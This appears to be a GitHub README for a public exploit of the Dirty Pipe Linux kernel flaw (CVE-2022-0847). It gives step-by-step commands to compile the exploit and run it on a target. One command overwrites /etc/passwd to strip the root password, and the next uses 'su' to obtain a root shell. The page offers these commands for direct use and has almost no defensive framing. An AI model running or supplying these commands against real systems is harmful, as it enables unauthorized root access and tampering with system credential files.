/dirty-pipe

Implementation of Max Kellermann's exploit for CVE-2022-0847

Primary LanguageC

Dirty Pipe - CVE-2022-0847

This is simply the code and instructions for how to use Max Kellermann's exploit for CVE-2022-0847 (known as Dirty Pipe).

Please go to https://dirtypipe.cm4all.com/ to read more about how to exploit works!

How to use

  1. Download and compile the exploit binary
git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit
  1. On the target, run the binary
./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"
  1. Switch to root
su

dirtypipe